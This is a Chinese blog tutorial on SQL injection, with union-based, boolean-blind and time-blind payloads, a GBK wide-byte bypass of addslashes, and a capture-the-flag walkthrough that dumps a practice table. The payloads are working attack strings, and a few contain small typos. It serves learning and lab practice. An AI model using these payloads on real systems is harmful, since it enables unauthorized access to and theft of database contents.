美文网首页
再谈sql注入

再谈sql注入

作者: 楠昭 | 来源:发表于2019-12-06 21:01 被阅读0次

    判断注入

    1. http://localhost/sqlilabs/Less-1/?id=3'
      用单引号测试报错则说明可以注入
      若没报错很有可能用addslashes()函数对敏感字符进行了转义。

    类型

    1. 常规注入语句
    1' order by num #        确定字段长度
    1' union select 1,2,3 #  确定字段长度
    -1' union select 1,2,3 # 判断页面中显示的字段
    -1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
    -1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
    -1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
    -1' union select 1,2,3 AND '1'='1     在注释符无法使用的情况下
    

    2.bool盲注

    1' and ascii(substr(select database(),1,1))>99
    1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
    

    3.time盲注

    1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
    1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
    
    1. 宽字节注入
    • 前言:关于编码的基础参照之前的文章
      先说一下两种编码,gbk和utf-8,最大的区别就是在编码一个汉字时,gbk用两个字节,而utf-8用3个
    • 关键:解除addslashes()函数的影响
      由于addslashes()函数给敏感字符进行转义,则 ' 会变成 /' ,要解除影响就要想办法去掉 / ,这就是宽字节注入做的事情
    • 一般做法:在传入参数的地方传入%df'
      原理:由于%df'会被addslashes转义为 %df' 。\的hex编码(16进制编码)为5c,最后就会变为%df%5c'。因为gbk编码认为2个字节是一个汉字,所以%df%5c就被解释为 運,而单引号 ' 就逃逸出来了。最后SQL语句就变为:
    SELECT * FROM news WHERE tid='運''
    
    • 总结:宽字节注入也就是想办法绕过对敏感字符输入的限制,之后的步骤和常规操作一样。

    • 来个实例

    1.探索

    在包头看到gb2312,说明可能存在宽字节注入
    1. 尝试


      输入%df'报错,则说明成功绕过转义

      3.注入过程

      • 猜解字段数
        index.php?id=1%bf' order by num %23
        其中num为1,2,3时正常,为4时报错说明字段数为3

      • 猜解显示位
        index.php?id=2%bf' union select 1,2,3 %23

      • 获取数据库中表的信息
        index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
        得到数据库中的表sae_user_sqli4

      • 获取字段信息
        index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23
        注意要把sae_user_sqli4转化成16进制
        得到表中字段如下 id,title_1,content_1

      • 脱裤
        index.php?id=-1%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
        得到flag
        总结:通过这道题学会那些函数的使用还有一步步注入的思想 字段数->表名->字段名->数据

    相关文章

      网友评论

          本文标题:再谈sql注入

          本文链接:https://www.haomeiwen.com/subject/fmlyqftx.html